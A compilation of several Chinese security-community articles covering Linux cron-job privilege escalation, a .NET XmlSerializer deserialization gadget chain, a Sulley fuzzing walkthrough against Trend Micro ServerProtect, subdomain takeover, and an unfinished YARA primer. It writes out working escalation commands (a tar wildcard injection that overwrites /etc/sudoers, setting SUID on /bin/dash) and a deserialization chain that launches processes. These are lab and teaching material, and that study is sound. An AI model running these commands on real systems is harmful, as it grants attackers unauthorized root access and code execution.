本文讲解如何利用Linux的Cron Jobs(定时任务)来进行权限提升。
# cron jobs
定时任务（cron job）被用于安排那些需要被周期性执行的命令。利用它，你可以配置某些命令或者脚本，让它们在某个设定的时间内周期性地运行。cron 是
Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务（守护进程）在系统后台运行，并且会持续地检查 /etc/crontab 文件和
/etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。
比如，在下面的crontab 命令中，就可以每个1个小时自动打印apach错误日志。
1 0 * * * printf "" > /var/log/apache/error_log
# Crontab文件覆写
## 创建一个定时任务
目标：创建一个运行python脚本来擦除特定目录的所有数据
假设目录cleanup就是要擦除的目录，我们希望每隔2分钟就清除1次目录。首先，向该目录中创建一些文件：
mkdir cleanup
cd cleanup
echo "hello freinds" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo "" > 1.php
echo "" > 2.php
ls
下图是上面命令执行的结果：
下面我们写一个python程序来删除 /home/cleanup的内容。
cd /tmp
nano cleanup.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /home/cleanup/* ')
except:
sys.exit()
chmod 777 cleanup.py
编辑crontab添加定时任务，每隔2分钟运行一次cleanup.py脚本。
nano /etc/crontab
*/2 * * * * root /tmp /cleanup.py
下面验证一下效果：
cd /home/cleanup
ls
date
ls
## 利用
开启攻击机器，入侵目标系统，然后进行权限提升阶段。假设我通过SSH成功登录进受害者的机器，并可以访问非root用户终端。然后执行下面的命令：
cat /etc/crontab
ls -al /tmp/cleanup.py
cat /tmp/cleanup.py
从上面的步骤，我们可以看出crontab 每隔2分钟执行一次python脚本。
下面想办法去利用它：
其实有许多方法可以获取root权限，我们采用开启/bin/dash SUID位的方法。首先，打开文件，比如nano
cleanup.py，用下面的命令替换原来命令中的“rm -r /tmp/*”：
os.system('chmod u+s /bin/dash')
2分钟后，就设置了/bin/dash的SUID权限，运行完成后就获取了root权限。
/bin/dash
id
whoami
提权任务完成。
# Crontab Tar Wildcard注入
## 创建定时任务
目标：创建一个备份的crontab任务。
该目录应该有backup的执行权限。
下面设定一个定时任务来运行tar程序，每分钟备份1次/html文件夹到/var/backups。
nano /etc/crontab
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
执行下面的命令来验证一下：
cd /var/backup
ls
date
从下图可以看出，html.tgz文件每隔1分钟生成1次。
## 利用
开启攻击机器，入侵目标系统，然后进行权限提升阶段。假设我通过SSH成功登录进受害者的机器，并可以访问非root用户终端。然后执行下面的命令：
cat /etc/crontab
从下图可以看出该定时任务已成功以root权限执行了。
下面想办法去利用。
执行下面的命令来给当前登录用户sudo权限，随后进行wildcard注入。
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
1分钟后，用户被授予sudo权限。
sudo -l
sudo bash
whoami
成功获取root权限。
# 总结
本文讲述了两种利用Linux定时任务crontab进行用户权限提升的方法。 | 社区文章 |
`作者: Ivan1ee@360云影实验室`
# 0X00 前言
在.NET 框架中的 XmlSerializer 类是一种很棒的工具，它是将高度结构化的 XML 数据映射为 .NET
对象。XmlSerializer类在程序中通过单个 API 调用来执行 XML 文档和对象之间的转换。转换的映射规则在 .NET
类中通过元数据属性来表示，如果程序开发人员使用Type类的静态方法获取外界数据，并调用Deserialize反序列化xml数据就会触发反序列化漏洞攻击（例如DotNetNuke
任意代码执行漏洞 CVE-2017-9822），本文笔者从原理和代码审计的视角做了相关脑图介绍和复现。
# 0X01 XmlSerializer序列化
.NET 框架中 System.Xml.Serialization 命名空间下的XmlSerializer类可以将 XML 文档绑定到 .NET
类的实例，有一点需要注意它只能把对象的公共属性和公共字段转换为XML元素或属性，并且由两个方法组成：Serialize() 用于从对象实例生成
XML；Deserialize() 用于将 XML
文档分析成对象图，被序列化的数据可以是数据、字段、数组、以及XmlElement和XmlAttribute对象格式的内嵌XML。具体看下面demo
XmlElement指定属性要序列化为元素，XmlAttribute指定属性要序列化为特性，XmlRoot特性指定类要序列化为根元素；通过特性类型的属性、影响要生成的名称、名称空间和类型。再创建一个TestClass类的实例填充其属性序列化为文件，XmlSerializer.Serialize方法重载可以接受Stream、TextWrite、XmlWrite类，最终生成的XML文件列出了TestClass元素、Classname特性和其它存储为元素的属性：
# 0x02 XmlSerialize反序列化
反序列过程：将xml文件转换为对象是通过创建一个新对象的方式调用XmlSerializer.Deserialize方法实现的，在序列化最关键的一环当属new
XmlSerializer构造方法里所传的参数，这个参数来自System.Type类，通过这个类可以访问关于任意数据类型的信息，指向任何给定类型的Type引用有以下三种方式。
## 2.1、typeof
实例化XmlSerializer传入的typeof(TestClass)
表示获取TestClass类的Type，typeof是C#中的运算符，所传的参数只能是类型的名称，而不能是实例化的对象，如下Demo
通过typeof获取到Type之后就能得到该类中所有的Methods、Members等信息。下图运行Debug时，弹出消息对话框显示当前成员Name的值。
## 2.2、object.Type
在.NET里所有的类最终都派生自System.Object，在Object类中定义了许多公有和受保护的成员方法，这些方法可用于自己定义的所有其他类中，GetType方法就是其中的一个，该方法返回从System.Type派生的类的一个实例，因为可以提供对象成员所属类的信息，包括基本类型、方法、属性等，上述案例中实例化TestClass，再获取当前实例的Type，如下Demo
## 2.3、Type.GetType
第三种方法是Type类的静态方法GetType，这个方法允许外界传入字符串，这是重大利好，只需要传入全限定名就可以调用该类中的方法、属性等
Type.GetType传入的参数也是反序列化产生的漏洞污染点，接下来就是要去寻找可以被用来攻击使用的类。
# 0X03 打造攻击链
首先放上攻击链打造成功后的完整Demo，这段Demo可以复用在任意地方（这里不涉及.NET Core、MVC），如下图
只要XmlSerializer存在反序列化漏洞就可用下面Demo中的内容，涉及到三个主要的技术点，以下分别来介绍原理。
## 3.1、ObjectDataProvider
ObjectDataProvider类，它位于System.Windows.Data命名空间下，可以调用任意被引用类中的方法，提供成员ObjectInstance用类似实例化类、成员MethodName调用指定类型的方法的名称、成员MethodParameters表示传递给方法的参数，参考下图
再给TestClass类定义一个ClassMethod方法，代码实现调用System.Diagnostics.Process.Start启动新的进程弹出计算器。如果用XmlSerializer直接序列化会抛出异常，因为在序列化过程中ObjectInstance这个成员类型未知，不过可以使用ExpandedWrapper扩展类在系统内部预先加载相关实体的查询来避免异常错误，改写Demo
生成data.xml内容如下：
攻击链第一步就算完成，但美中不足的是因笔者在测试环境下新建的TestClass类存在漏洞，但在生产情况下是非常复杂的，需要寻求Web程序中存在脆弱的攻击点，为了使攻击成本降低肯定得调用系统类去达到命令执行，所以需要引入下面的知识。
## 3.2、ResourceDictionary
ResourceDictionary，也称为资源字典通常出现在WPF或UWP应用程序中用来在多个程序集间共享静态资源。既然是WPF程序，必然设计到前端UI设计语言XAML。
XAML全称Extensible Application Markup Language (可扩展应用程序标记语言)
基于XML的，且XAML是以一个树形结构作为整体，如果对XML了解的话，就能很快的掌握，例如看下面Demo
第一个标签ResourceDictionary，xmlns:Runtime表示读取System.Diagnostics命令空间的名称起个别名为Runtime
第二个标签ObjectDataProvider指定了三个属性，x:key便于条件检索，意义不大但必须得定义；ObjectType
用来获取或设置要创建其实例的对象的类型，并使用了XAML扩展；x:Type相当于C#中typeof运算符功能，这里传递的值是System.Diagnostics.Process;
MethodName用来获取或设置要调用的方法的名称，传递的值为System.Diagnostics.Process.Start方法用来启动一个进程。
第三个标签ObjectDataProvider.MethodParameters内嵌了两个方法参数标签，通过System:String分别指定了启动文件和启动时所带参数供Start方法使用。
介绍完攻击链中ResourceDictionary后，攻击的Payload主体已经完成，接下来通过XamlReader这个系统类所提供的XML解析器来实现攻击。
## 3.3、XamlReader
XamlReader位于System.Windows.Markup空间下，顾名思义就是用来读取XAML文件，它是默认的XAML读取器，通过Load读取Stream流中的XAML数据，并返回作为根对象，而另外一个Parse方法读取指定字符串中的XAML输入，也同样返回作为根对象，自然Parse
方法是我们关心和寻求的。
只需使用ObjectDataProvider的ObjectInstance方法实例化XamlReader，再指定MethodName为Parse，并且给MethodParameters传递序列化之后的资源字典数据，这样就可以完成XmlSerializer反序列化攻击链的打造。
# 0x04 代码审计视角
从代码审计的角度其实很容易找到漏洞的污染点，通过前面几个小节的知识能发现
序列化需要满足一个关键条件Type.GetType，程序必须通过Type类的静态方法GetType，例如以下demo
首先创建XmlDocument对象载入xml，变量typeName通过Xpath获取到Item节点的type属性的值，并传给了Type.GetType，紧接着读取Item节点内的所有Xml数据，最终交给Deserialize方法反序列化，这是一个近乎完美的利用点。再来看笔者在github上收集到的XmlSerializer反序列化类：XmlSerializeUtil.cs
此处值参数类型为Type，代码本身没有问题，问题在于程序开发者可能会先定义一个字符串变量来接受传递的type值，通过Type.GetType(string)返回
Type对象再传递进DeserializeXml，在代码审计的过程中也需要关注此处type的来源。
0x05 案例复盘
最后再通过下面案例来复盘整个过程，全程展示在VS里调试里通过反序列化漏洞弹出计算器。
1. 输入[http://localhost:5651/Default?node=root&value=type](http://localhost:5651/Default?node=root&value=type) 加载了远程的(192.168.231.135) 1.xml文件
2. 通过xmlHelper.GetValue得到root节点下的所有XML数据
1. 这步最关键，得到root节点的type属性，并提供给GetType方法，XmlSerializer对象实例化成功
1. XmlSerializer.Deserialize(xmlReader) 成功调出计算器
最后附上动图
# 0x06 总结
由于XmlSerializer是系统默认的反序列类，所以在实际开发中使用率还是比较高的，攻击者发现污染点可控的时候，可以从两个维度去寻找利用的点，第一从Web应用程序中寻求可以执行命令或者写WebShell的类和方法；第二就是本文中所说的利用ObjectDataProvider、ResourceDictionary、XamlReader组成的攻击链去执行命令或者反弹Shell
，最后.NET反序列化系列课程笔者会同步到 <https://github.com/Ivan1ee/>
、<https://ivan1ee.gitbook.io/> ，后续笔者将陆续推出高质量的.NET反序列化漏洞文章 ，大致课程大纲如下图
欢迎大伙持续关注，交流。 | 社区文章 |
# 前言
这里是Sulley使用手册的第三部分，从这里开始本系列文章将开始讲述Sulley fuzzer的实际应用。
手册链接：<http://www.fuzzing.org/wp-content/SulleyManual.pdf>
# A Complete Walkthrough: Trend Micro Server Protect
为了更好地将这些东西联系在一起。我们将从头到尾完成一个实例的演示。这个例子将涉及许多中级到高级的Sulley概念，应该有助于巩固您对框架的理解。本节的主要目的是演示许多高级Sulley功能的用法，因此跳过了有关target的许多细节，所选目标是Trend
Micro Server Protect.具体来说是由SpntSvc.exe服务绑定的TCP端口5168上的Microsoft DCE / RPC端点。
RPC端点从TmRpcSrv.dll以下面的接口定义语言（IDL）stub信息公开：
// opcode: 0x00, address: 0x65741030
// uuid: 25288888-bd5b-11d1-9d53-0080c83a5c2c
// version: 1.0
error_status_t rpc_opnum_0 (
[in] handle_t arg_1, // not sent on wire
[in] long trend_req_num,
[in][size_is(arg_4)] byte some_string[],
[in] long arg_4,
[out][size_is(arg_6)] byte arg_5[], // not sent on wire
[in] long arg_6
);
参数'arg_1'和'arg_6'实际上都不是通过wire传输的。 当我们编写实际的fuzz
request时，这是一个需要考虑的重要情况。进一步检查发现参数'trend_req_num'具有特殊含义。此参数的上半部分和下半部分控制一对跳转表，可通过此单个RPC函数公开许多的可到达子例程。
对跳转表进行逆向工程，出了下列组合：
When the value for the upper half is 0x0001, 1 through 21 are valid lower half values.
When the value for the upper half is 0x0002, 1 through 18 are valid lower half values.
When the value for the upper half is 0x0003, 1 through 84 are valid lower half values.
When the value for the upper half is 0x0005, 1 through 24 are valid lower half values.
When the value for the upper half is 0x000A, 1 through 48 are valid lower half values.
When the value for the upper half is 0x001F, 1 through 24 are valid lower half values.
接下来我们必须创建一个自定义编码器例程，它将负责将已定义的blok封装为有效的DCE / RPC请求。
我们定义了一个围绕utisl.dcerpc.request（）的基本包装器，它将操作码参数硬编码为零：
# dce rpc request encoder used for trend server protect 5168 RPC service.
# opnum is always zero.
def rpc_request_encoder (data):
return utils.dcerpc.request(0, data)
## Building the Requests
有了这些信息和我们的编码器，我们就可以开始定义我们的Sulley requests了。 我们创建一个文件'requests \
trend.py'来包含我们所有与Trend相关的请求和helpers定义并开始编码.我们利用一些Python循环来自动为'trend_req_num'生成每个有效上限值的单独请求：
for op, submax in [(0x1, 22), (0x2, 19), (0x3, 85), (0x5, 25), (0xa, 49), (0x1f, 25)]:
s_initialize("5168: op-%x" % op)
if s_block_start("everything", encoder=rpc_request_encoder):
# [in] long trend_req_num,
s_group("subs", values=map(chr, range(1, submax)))
s_static("\x00") # subs is actually a little endian word
s_static(struct.pack("<H", op)) # opcode
# [in][size_is(arg_4)] byte some_string[],
s_size("some_string")
if s_block_start("some_string", group="subs"):
s_static("A" * 0x5000, name="arg3")
s_block_end()
# [in] long arg_4,
s_size("some_string")
# [in] long arg_6
s_static(struct.pack("<L", 0x5000)) # output buffer size
s_block_end()
在每个生成的请求中，初始化新block并传到我们先前定义的自定义编码器。接下来，s_group（）原语用于定义名为“subs”的序列，该序列表示我们之前看到的“trend_req_num”的下半部分值。接下来将上半字值作为静态值添加到请求流中。我们不会fuzz
'trend_req_num'，因为我们已经逆向了它的有效值，如果我们没有，我们也可以fuzz这些字段。接下来，将'some_string'的NDR大小前缀添加到请求中。我们可以选择在这里使用Sulley
DCE / RPC NDR
Lego原语，但由于RPC请求非常简单，我们决定手动表示NDR格式。接下来，将'some_string'值添加到请求中。字符串值封装在一个块中，以便可以测量它的长度。在这个例子中，我们使用”A”字符串的静态大小（大约20k）。通常我们会在这里插入一个s_string（）原语，但由于我们知道Trend会因任何长字符串而崩溃，所以我们通过使用静态值来减少测试集。字符串的长度再次附加到请求以满足'arg_4'的size_is要求。最后，我们为输出缓冲区大小指定任意静态大小并关闭block。
我们的request现已准备就绪，我们可以继续创建session。
## Creating the Session
我们在Sulley根文件夹中为我们的会话创建了一个名为“fuzz_trend_server_protect_5168.py”的新文件。当此文件已经完成其任务，会移至'archived_fuzzies'文件夹。首先，我们从requests库中import
Sulley和创建的Trend request：
from sulley import *
from requests import trend
接下来，我们将定义一个预发送函数，该函数负责在传输任何测试用例之前建立DCE /
RPC连接。预发送例程接受单个参数，即传输数据的套接字。这是一个简单的编写例程，这要归功于utils.dcerpc.bind（）的可用性，这是一个Sulley实用程序例程：
def rpc_bind (sock):
bind = utils.dcerpc.bind("25288888-bd5b-11d1-9d53-0080c83a5c2c", "1.0")
sock.send(bind)
utils.dcerpc.bind_ack(sock.recv(1000))
现在是时候启动session并定义target了。我们将fuzz一个目标，一个安装在VMWare虚拟机的Trend Server
Protect，地址为10.0.0.1。我们将遵循框架准则，将序列化的session信息保存到'audits'目录中。最后，我们用定义的target注册一个网络监视器、进程监视器和虚拟机控制代理：
sess = sessions.session(session_filename="audits/trend_server_protect_5168.session")
target = sessions.target("10.0.0.1", 5168)
target.netmon = pedrpc.client("10.0.0.1", 26001)
target.procmon = pedrpc.client("10.0.0.1", 26002)
target.vmcontrol = pedrpc.client("127.0.0.1", 26003)
由于存在VMWare控制代理，因此无论何时检测到故障或无法到达target，Sulley都将默认恢复到正常的快照。如果VMWare控制代理程序不可用但进程监视器代理程可用，则Sulley会尝试重新启动target进程以恢复fuzz。
target.procmon_options = \
{
"proc_name" : "SpntSvc.exe",
"stop_commands" : ['net stop "trend serverprotect"'],
"start_commands" : ['net start "trend serverprotect"'],
}
每当您使用进程监视器代理时，'proc_name'参数都是必需的，它指定调试器应附加到哪个进程名称并查找其中的错误。如果VMWare控制代理和进程监视代理都不可用，那么Sulley别无选择，只能在数据传输失败的情况下提供target恢复时间。
接下来，我们通过调用VMWare控制代理程序restart_target（）例程来指示target启动。运行后，将target添加到session中，定义预发送例程，并将每个定义的request连接到fuzz根节点。、
# start up the target.
target.vmcontrol.restart_target()
print "virtual machine up and running"
sess.add_target(target)
sess.pre_send = rpc_bind
sess.connect(s_get("5168: op-1"))
sess.connect(s_get("5168: op-2"))
sess.connect(s_get("5168: op-3"))
sess.connect(s_get("5168: op-5"))
sess.connect(s_get("5168: op-a"))
sess.connect(s_get("5168: op-1f"))
sess.fuzz()
## Setting up the Environment
启动fuzz session之前的最后一步是设置环境。我们通过调出目标虚拟机映像并使用以下命令行参数直接在测试映像中启动网络和处理监视器代理来实现此目的：
network_monitor.py -d 1 \
-f "src or dst port 5168" \
-p audits\trend_server_protect_5168
process_monitor.py -c audits\trend_server_protect_5168.crashbin \
-p SpntSvc.exe
将BPF过滤器字符串传递给网络监视器，以确保仅记录我们感兴趣的数据包。还会选择audits文件夹中的目录，网络监视器将为每个测试用例创建PCAP。使用代理和目标进程运行实时快照时，将命名为“sulley
ready and waiting”。
接下来，我们关闭VMWare并在主机系统（fuzz测试系统）上启动VMWare控制代理。此代理程序需要vmrun.exe可执行文件的路径，要控制的实际映像的路径以及最终在发生数据传输失败时要恢复的快照名称：
vmcontrol.py -r "c:\Progra~1\VMware\VMware~1\vmrun.exe" \
-x "v:\vmfarm\images\windows\2000\win_2000_pro-clones\TrendM~1\win_2000_pro.vmx" \
--snapshot "sulley ready and waiting"
## Ready, Set ... Action! ... and post mortem.
最后，一切准备就绪。
只需启动'fuzz_trend_server_protect_5168.py'，将网络浏览器连接到<http://127.0.0.1:26000即可监控fuzzer进度，然后坐下来观看并欣赏。>
当fuzzer完成运行221个测试用例列表时，我们发现其中19个触发了故障。使用'crashbin_explorer.py'程序，我们可以查看由异常地址分类的错误：
$ ./utils/crashbin_explorer.py audits/trend_server_protect_5168.crashbin
[6] [INVALID]:41414141 Unable to disassemble at 41414141 from thread 568 caused access violation
42, 109, 156, 164, 170, 198,
[3] LogMaster.dll:63272106 push ebx from thread 568 caused access violation
53, 56, 151,
[1] ntdll.dll:77fbb267 push dword [ebp+0xc] from thread 568 caused access violation
195,
[1] Eng50.dll:6118954e rep movsd from thread 568 caused access violation
181,
[1] ntdll.dll:77facbbd push edi from thread 568 caused access violation
118,
[1] Eng50.dll:61187671 cmp word [eax],0x3b from thread 568 caused access violation
116,
[1] [INVALID]:0058002e Unable to disassemble at 0058002e from thread 568 caused access violation
70,
[2] Eng50.dll:611896d1 rep movsd from thread 568 caused access violation
152, 182,
[1] StRpcSrv.dll:6567603c push esi from thread 568 caused access violation
106,
[1] KERNEL32.dll:7c57993a cmp ax,[edi] from thread 568 caused access violation
165,
[1]Eng50.dll:61182415 mov edx,[edi+0x20c] from thread 568 caused access violation
其中一些显然是可利用的。例如，EIP为0x41414141的测试用例。测试用例70似乎偶然发现了一个可能的代码执行问题，一个UNICODE溢出（实际上在研究后这可能是一个straight
overflow）。Crash bin资源管理器实用程序还可以生成故障的图形视图，绘制堆栈回溯路径。这可以帮助确定某些问题的根本原因。
该实用程序接受以下命令行参数:
$ ./utils/crashbin_explorer.py
USAGE: crashbin_explorer.py <xxx.crashbin>
[-t|--test #] dump the crash synopsis for a specific test case number
[-g|--graph name] generate a graph of all crash paths, save to 'name'.udg
例如，我们可以在检测到故障时的CPU状态（测试用例＃70）：
$ ./utils/crashbin_explorer.py audits/trend_server_protect_5168.crashbin -t 70
[INVALID]:0058002e Unable to disassemble at 0058002e from thread 568 caused access violation
when attempting to read from 0x0058002e
CONTEXT DUMP
EIP: 0058002e Unable to disassemble at 0058002e
EAX: 00000001 ( 1) -> N/A
EBX: 0259e118 ( 39444760) -> A.....AAAAA (stack)
ECX: 00000000 ( 0) -> N/A
EDX: ffffffff (4294967295) -> N/A
EDI: 00000000 ( 0) -> N/A
ESI: 0259e33e ( 39445310) -> A.....AAAAA (stack)
EBP: 00000000 ( 0) -> N/A
ESP: 0259d594 ( 39441812) -> LA.XLT.......MPT.MSG.OFT.PPS.RT (stack)
+00: 0041004c ( 4259916) -> N/A
+04: 0058002e ( 5767214) -> N/A
+08: 0054004c ( 5505100) -> N/A
+0c: 0056002e ( 5636142) -> N/A
+10: 00530042 ( 5439554) -> N/A
+14: 004a002e ( 4849710) -> N/A
disasm around:
0x0058002e Unable to disassemble
SEH unwind:
0259fc58 -> StRpcSrv.dll:656784e3
0259fd70 -> TmRpcSrv.dll:65741820
0259fda8 -> TmRpcSrv.dll:65741820
0259ffdc -> RPCRT4.dll:77d87000
ffffffff -> KERNEL32.dll:7c5c216c
你可以在这里看到堆栈已经被看似是UNICODE文件扩展名的字符串所覆盖。 您也可以为给定的测试用例提取已存档的PCAP文件。
最后一步，我们希望删除所有不包含有关故障的信息的pCAP文件，'pcap_cleaner.py'实用程序是为完成此任务而编写的：
$ ./utils/pcap_cleaner.py
USAGE: pcap_cleaner.py <xxx.crashbin> <path to pcaps>
此实用程序将打开指定的crashbin文件，读入触发故障的测试用例编号列表并从指定目录中清除所有其他PCAP文件。
此fuzz中发现的代码执行漏洞均已报告给Trend，并给了以下建议：
* TSRT-07-01: Trend Micro ServerProtect StCommon.dll Stack Overflow Vulnerabilities（<http://www.tippingpoint.com/security/advisories/TSRT-07-01.html）>
* TSRT-07-02: Trend Micro ServerProtect eng50.dll Stack Overflow Vulnerabilities（<https://www.trendmicro.com/en_us/business/products/network/intrusion-prevention.html）>
这并不是说在这个接口中已经耗尽了所有可能的漏洞。 实际上，这是该接口最基本的fuzz测试。
实际上使用s_string（）原语而不是简单的长字符串的fuzz也可行。 | 社区文章 |
### subdomain takeover
子域名劫持/接管
* 本文内容包括
* 漏洞实例
* 实例分析
* 漏洞原理
* 漏洞危害
* 测试工具
* 防御方案
### 漏洞实例 - 有趣的测试
**声明下：已知情的测试，白帽师傅wAnyBug已于2019年3月份报告给其官方SRC 且没有做任何违规的事情！**
某日，刚加上白帽师傅@wAnyBug，聊天过程可谓步步惊魂（聊天内容为点击两个url）
猜测：看到是子域名，初步感觉子域名learnt.Micro _**_.Com被劫持(接管)。
确认：Chrome隐身模式下访问 learnt.Micro _**_.Com 看到了非 微X 的内容，大致可确认是子域名劫持(接管)。
猜测：此时如果我登录相关服务"out ** **" 并访问该子域名learnt.Micro****.Com，很可能cookie不保。
确认：后来发现 微X 的登录设计为SSO(单点登录,Single Sign On)，即 微X 服务统一在login. **
**.com登录。所以可以肯定，如果我登录相关服务"out**** "并访问该子域名learnt.Micro
_**_.Com，则cookie可被web后端获取。
### 实例分析
查询该子域名的dns记录
➜ ~ nslookup learnt.Micro****.Com
Non-authoritative answer:
learnt.Micro****.Com canonical name = ldlearntest.trafficmanager.net.
ldlearntest.trafficmanager.net canonical name = subdomain-takeover-msrc.wanybug.Com.
Name: subdomain-takeover-msrc.wanybug.Com
Address: 47.52.101.203
可以得出：
* learnt.Micro _**_.Com CNAME ldlearntest.trafficmanager.net
* ldlearntest.trafficmanager.net CNAME subdomain-takeover-msrc.wanybug.Com
由此可以判断出 白帽师傅@wAnyBug 注册了ldlearntest.trafficmanager.net (随后确认确实如此)
注意：trafficmanager.net确实仍是"微X（中国）有限公司"的重要域名，用于Az _**_
云服务，可以提供给用户们注册自己的云服务的子域名。格式为 `xxx.trafficmanager.net`
通过搜索引擎 搜索`site:trafficmanager.net|trafficmanager.cn`可以看到很多云服务器的域名。
如，某酒厂的域名为 www.dawine.com 通过查询：
nslookup www.dawine.com
Non-authoritative answer:
www.dawine.com canonical name = dawinechinaweb.trafficmanager.cn.
dawinechinaweb.trafficmanager.cn canonical name = dawine1.chinacloudapp.cn.
Name: dawine1.chinacloudapp.cn
Address: 139.217.132.95
可发现其服务器使用了某云服务，并将符合自身商业名称的域名dawinerootea.trafficmanager.cn 作为 www.dawine.com
的CNAME。
### 漏洞原理
不做实际攻击演示，讲解原理如下:
比如A公司域名为 a.com 并使用云服务cloud.com提供服务，申请并得到了云服务主机 imA.cloud.com
A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com
某天A公司的该服务因为某些原因不再使用了，于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)
此时shop.a.com 的CNAME依然是 imA.cloud.com
(关键：A公司未重新设置 shop.a.com 的CNAME值)
如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com
攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"
此时访问shop.a.com 则出现 文本"hacked!"
### 漏洞危害
因为可执行任意javascript代码 该漏洞具有XSS的危害性:
举例如下
* 操作浏览器的存储(Storage) - 对存储数据进行增删改查
* `Cookie` \- 如果没有`HttpOnly`则可查看到Cookie的key和value，跨域成功则可收到cookie中的数据，从而使用其身份(获取该用户特有的信息/执行该用户特有的操作)
* 管理员凭证 可发起高权限操作 - 创建新的管理员账号 修改管理员密码...
* 普通用户凭证 可发起普通用户权限操作 - 评论、发帖、转账...
* `localStorage`
* `sessionStorage`
* `indexedDB`
* `Web SQL Database`
* 探测内网 - 利用实时通信标准WebRTC 获取存活主机ip列表 甚至端口 进而识别服务、web应用与版本（如发现内网中的confluence、Jenkins等）
* 攻击内网 - 根据探测结果(或对所有内网ip)发起漏洞利用攻击流量（利用web系统漏洞：confluence系统命令执行等；利用常见服务漏洞：redis未授权Getshell)
* XSStoRCE - 使用node.js作为web后端 或 基于node.js的桌面应用框架(如Electron) 都可能通过XSS实现RCE
* XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大
* 键盘记录 - 记录按键
* 漏洞联合 - 使用XSS绕过CSRF保护机制 无交互地利用CSRF漏洞
* 1.利用自身域名的XSS漏洞绕过CSRF防御机制 - 有的anti-CSRF机制为后端判断CSRFtoken的值，使用JavaScript找到CSRFtoken参数值并构造出"合法的"GET/POST请求 全程不存在跨域问题
* 2.利用自身/兄弟/父子域名的XSS漏洞绕过CSRF防御机制 - 有的anti-CSRF机制是后端通过判断Referer的值，如果Referer的值 是自身/兄弟/父子域名下的url 就是"合法"请求
* 漏洞联合 - 通过已有的CSRF漏洞 利用self-XSS漏洞(变废为宝)
* 利用过程 - 事实上self-XSS漏洞无法直接使对方触发，然而通过已有的CSRF漏洞构造"触发该self-XSS漏洞的"请求，对方触发CSRF漏洞即触发XSS漏洞
* 获取网页截图 - (HTML5) html2canvas
* 获取前端代码 - 如 得到管理员后台系统的前端代码(可根据表单字段名构造并发出异步请求 实现新增管理员账号)
* 钓鱼 - 获取各种凭证(编造理由 "WiFi固件更新，请重新输入您的凭据以进行身份验证" "重新登录域账号")
* 钓鱼 - 自动下载文件 诱导执行可执行文件(编造理由 "xx程序必须更新才能使用")
* 修改页面内容 - 如 广告(利用存储型XSS漏洞实现Ad-Jacking) 等
* 虚拟币挖矿 - 利用javascript实现Crypto Mining
* 获取表单输入 - 窃取表单输入框的内容(如口令输入框)
* 重定向 - Redirecting
* DOS攻击 - 利用javascript发起注销请求 使用户cookie失效从而无法登录 严重影响业务
* DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求
* 获取系统和浏览器信息
* 操作系统类型、版本 浏览器类型、版本 (根据User-agent获取)
* 屏幕分辨率 (高度`window.screen.height;` 宽度`window.screen.width;`)
* 语言
* 获取录音数据 - (HTML5) 需要授权 Recording Audio
* 获取摄像数据 - (HTML5) 需要授权 webcam
* 获取地理位置 - (HTML5) 需要授权 访问受害者的Geo-location
* 读取本地文件
* ...
可见危害很大。
另外其他配置可能会扩大危害，如A公司设置了泛解析`*.a.com` 都指向了 云服务提供商的某个云主机的域名。
### 测试方法
以下测试方法及工具仅供有授权的安全测试，或自己搭建环境进行研究，切勿用于非法用途。
* 手工
* nslookup
* 工具
* 安装 `gem install aquatone`
* 资产发现 `aquatone-discover --domain xx.com --thread 500`
* 劫持扫描 `aquatone-takeover --domain xx.com --threads 500`
### 防御方案
* 提高资产管理能力 (避免云服务过期或被关闭，被他人"抢注")
* 可以考虑使用名称不可自定义(随机hash值)的云服务商 如`258ea2e57bca0.Acloud.com` (避免云服务过期或被关闭，被他人"抢注")
* 如果被"抢注" 重新设置域名的CNAME
其他参考 [Subdomain Takeover: Basics](https://0xpatrik.com/subdomain-takeover-basics/) | 社区文章 |
# Yara入门——如何通过Yara规则匹配CobaltStrike恶意样本
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
首先，YARA规则是VT的开发人员发布的，用于同类样本的批量检索和查杀。
通过Yara引擎和我们编写的Yara规则，可以快速对一批样本进行扫描和识别，从而找到我们希望得到的样本。
官方的github库地址：<https://github.com/VirusTotal/yara/releases>
官方文档说明：<https://yara.readthedocs.io/en/v3.7.0/index.html>
## 0x01 Yara的安装和使用
### 如何安装Yara
Yara的安装非常简单，在Windows操作系统下，我们可以直接在yara的github库下载可执行文件到本地，配置环境变量即可用
可以看到，当前（2020-07-20）的最新版本是Yara4.0.2
这里下载yara-v3.11.0-994-win64.zip，下载到本地之后直接将压缩包中了两个exe解压并到C:\Windows目录下并分别重命名为yarac.exe和yara.exe
然后启动cmd 直接输入yara —help 即可查看yara的参数
在Mac下，可以直接使用pip工具或者brew直接安装。
我是通过brew install yara的方式直接安装的。安装完成之后，使用方式也是一样的。
### Yara食用
现在，以官方提供的yara规则示例我们来看看yara可以做什么。
官方给出的示例yara如下：
rule silent_banker : banker
{
meta:
description = "This is just an example"
thread_level = 3
in_the_wild = true
strings:
$a = {6A 40 68 00 30 00 00 6A 14 8D 91}
$b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
$c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
condition:
$a or $b or $c
}
首先，第一行的rule silent_banker : banker是声明该规则用于检出banker类型的样本。
meta 后面的是一些描述信息，比如规则说明、作者信息等。
strings 定义了$a $b $c 两个十六进制字符串（十六进制字符串用大括号括起来）和一个文本字符串（文本字符串直接用双引号括起来）
最后condition 规定了匹配的条件，这里写的是or，表明样本中只要匹配到了$a $b $c 三个字符串中的任意一个，那么样本就会被识别为banker
我们新建一个demo1.yara文件，然后将这部分内容复制进去。
然后在当前目录下新建一个文件夹<111> 在该文件夹中分别存放三个文件，一个py文件，一个json文件和一个exe文件。
现在我们回到demo1.yara所在的目录，执行yara demo1.yara 111/
